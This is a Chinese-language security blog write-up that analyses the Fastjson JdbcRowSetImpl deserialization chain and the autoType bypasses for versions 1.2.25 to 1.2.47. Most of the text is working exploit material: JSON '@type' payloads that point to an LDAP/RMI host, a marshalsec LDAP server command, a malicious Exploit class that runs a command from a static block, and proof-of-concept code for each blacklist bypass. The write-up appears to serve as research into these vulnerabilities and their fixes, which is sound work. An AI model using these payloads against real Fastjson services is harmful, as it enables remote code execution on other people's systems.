Java安全之FastJson JdbcRowSetImpl 鏈分析
0x00 前言
續上文的Fastjson TemplatesImpl鏈分析,接着來學習JdbcRowSetImpl
利用鏈,JdbcRowSetImpl
的利用鏈在實際運用中較為廣泛,這個鏈基本沒啥限制條件,只需要Json.parse(input)
即可進行命令執行。
0x01 漏洞分析
利用限制
首先來說說限制,基於JNDI+RMI或JDNI+LADP進行攻擊,會有一定的JDK版本限制。
RMI利用的JDK版本≤ JDK 6u132、7u122、8u113
LADP利用JDK版本≤ 6u211 、7u201、8u191
攻擊流程
- 首先是這個lookup(URI)參數可控
- 攻擊者控制URI參數為指定為惡意的一個RMI服務
- 攻擊者RMI服務器向目標返回一個Reference對象,Reference對象中指定某個精心構造的Factory類;
- 目標在進行
lookup()
操作時,會動態加載並實例化Factory類,接着調用factory.getObjectInstance()
獲取外部遠程對象實例; - 攻擊者可以在Factory類文件的靜態代碼塊處寫入惡意代碼,達到RCE的效果;
JDNI注入細節
簡單分析一下lookup參數可控后,如何走到RCE.
調用鏈:
- -> RegistryContext.decodeObject()
- -> NamingManager.getObjectInstance()
- -> factory.getObjectInstance()
- -> NamingManager.getObjectFactoryFromReference()
- -> helper.loadClass(factoryName);
loadclass進行實例化,觸發靜態代碼塊的Runtime代碼執行命令執行。
調試分析
影響版本:fastjson <= 1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
從前文的TemplatesImpl鏈分析中得知FastJson在反序列化時會去調用get、set、is方法。
- @type:目標反序列化類名;
- dataSourceName:RMI注冊中心綁定惡意服務;
- autoCommit:在Fastjson JdbcRowSetImpl鏈中反序列化時,會去調用setAutoCommit方法。
詳細分析fastjson如何解析可查看Fastjson TemplatesImpl鏈分析文章,再次不做贅訴。
啟動LDAP服務端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389
Exploit代碼,需將代碼編譯成class文件然后掛在到web中
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
POC代碼:
package com.nice0e3;
import com.alibaba.fastjson.JSON;
public class POC {
public static void main(String[] args) {
// String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
看到payload中的dataSourceName
參數在解析時候則會調用setDataSourceName
對DataSourceNamece
變量進行賦值,來看到代碼
而autoCommit
也一樣會調用setAutoCommit
setAutoCommit
方法調用this.connect();
lookup中則是傳入了this.getDataSourceName()
,返回dataSource變量內容。而這個dataSource內容則是在前面setDataSourceName
方法中進行設置的,該參數是可控的。所以可以進行JDNI注入從而達到命令執行。
利用鏈
- -> JdbcRowSetImpl.execute()
- -> JdbcRowSetImpl.prepare()
- -> JdbcRowSetImpl.connect()
- -> InitialContext.lookup(dataSource)
而在Fastjson JdbcRowSetImpl 鏈利用中,則是利用了后半段。
0x02 繞過方式
1.2.25版本修復
先將Fastjson組件升級到1.2.25版本后進行發送payload,查看是否能夠利用成功。
修復改動:
- 自從1.2.25 起 autotype 默認為False
- 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制
根據官方文檔開啟AutoType的方式,假設不開啟該功能是無法進行反序列化的。因為默認白名單是空的,需要自定義。白名單的繞過基本不可能,都是從黑名單作為入口。白名單需要添加,而黑名單中則是內置在Fastjson中。
1、JVM啟動參數
-Dfastjson.parser.autoTypeSupport=true
2、代碼中設置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
下面來看代碼,這里使用了IDEA中的jar包對比功能
可以看到DefaultJSONParser
發送了變動,在這里多了一個checkAutoType
方法去做校驗。
跟進方法查看
前面會進行白名單的校驗,如果匹配中的話調用loadClass加載,返回一個Class對象。 這里默認白名單的列表為空。
后面這則是會惡意類的黑名單進行匹配,如果加載類的前面包含黑名單所定義的字符則拋出異常。
1.2.25-1.2.41 繞過
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
//ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
先來調試不開啟的情況,前面依舊就會遍歷黑名單對class進行賦值,但最后這個會去檢測如果未開啟,則直接拋異常,開啟則會去返回。
將注釋打開后,則直接返回class
命令執行成功。但是可以看到前面的class是Lcom.sun.rowset.JdbcRowSetImpl
為什么也會觸發命令執行?
原因在於com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);
方法中,可跟進查看。
這里解析到內容如果為L
開頭,;
結尾的話就會將這2個字符清空,前面其實還有一個[
。
1.2.42 修復方式
修復改動:明文黑名單改為HASH值,checkcheckAutoType
方法添加L
和;
字符過濾。
加密方法位於com.alibaba.fastjson.util.TypeUtils#fnv1a_64
可將進行碰撞獲取值。
1.2.42繞過方式
package com.nice0e3;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
在com.alibaba.fastjson.parser#checkcheckAutoType
中將L
和;
進行清空。這里是利用了雙寫的方式,前面的規則將第一組L
和;
,進行清空,而在TypeUtils.loadclass
中將第二組內容清空。
1.2.43 修復方式
在1.2.43版本中對了LL開頭的繞過進行了封堵
//hash計算基礎參數 long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; //L開頭,;結尾 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { //LL開頭 if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
再次執行poc代碼可以看到報錯了。
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;; at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
1.2.43 繞過方式
前面可以看到[
也進行了清空,可以從該地方進行入手。
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
執行報錯了,報錯信息如下:
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43 at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267) at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729) at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304) at com.alibaba.fastjson.JSON.parse(JSON.java:152) at com.alibaba.fastjson.JSON.parse(JSON.java:162) at com.alibaba.fastjson.JSON.parse(JSON.java:131) at com.nice0e3.POC.main(POC.java:12)
提示缺少了一個{
public class POC { public static void main(String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); }}
1.2.44 修復方式
將[
進行限制,具體實現可自行查看。
再次執行前面的poc代碼可以看到報錯了。
1.2.45繞過方式
利用條件需要目標服務端存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。
public class POC {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
JSON.parse(PoC);
}
}
下面來分析一下使用這個payload為什么能繞過。其實是借助了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
進行繞過,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
並不在黑名單中。
這里是對反序列化后的對象是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
傳入properties
參數,則會去自動調用setProperties
而在1.2.46無法執行成功,應該是對該類拉入了黑名單中。
1.2.25-1.2.47通殺
為什么說這里標注為通殺呢,其實這里和前面的繞過方式不太一樣,這里是可以直接繞過AutoTypeSupport
,即便關閉AutoTypeSupport
也能直接執行成功。
先來看payload
public class POC { public static void main(String[] args) { String PoC = "{\n" + " \"a\":{\n" + " \"@type\":\"java.lang.Class\",\n" + " \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" + " },\n" + " \"b\":{\n" + " \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" + " \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" + " \"autoCommit\":true\n" + " }\n" + "}"; JSON.parse(PoC); }}
可以看到payload和前面的payload構造不太一樣,這里來分析一下。
這里未開啟AutoTypeSupport
不會走到下面的黑白名單判斷。
fastjson會使用 checkAutoType
方法來檢測@type
中攜帶的類,但這次我們傳入的是一個java.lang.class
來看到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject
方法中
跟進deserialze
方法查看,這里的deserialze
是MiscCodec#deserialze
上面代碼會從objVal = parser.parse();
獲取內容為com.sun.rowset.JdbcRowSetImpl
。來看到下面
if (clazz == Class.class) { return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}
這里使用了TypeUtils.loadClass
函數加載了strVal
,也就是JdbcRowSetlmpl,跟進發現會將其緩存在map中。
這里的true參數代表開啟緩存,如果開啟將惡意類存儲到mapping中
斷點來到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType
因為前面將com.sun.rowset.JdbcRowSetImpl
所以這里能獲取到com.sun.rowset.JdbcRowSetImpl
該判斷不為true,從而繞過黑名單。
而后續則是和前面的一樣,通過dataSourceName
觸發對於的set方法將dataSourceName
變量進行設置,而后通過autoCommit
,觸發setAutoCommit
觸發lookup()
達到命令執行。
參考文章
https://xz.aliyun.com/t/9052
https://xz.aliyun.com/t/7027
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
http://wjlshare.com/archives/1526
0x03 結尾
其實后面還有幾個繞過的方式后面再去做分析,除此外還有一些BCEL來解決fastjson不出網回顯等方面都值得去思考和研究。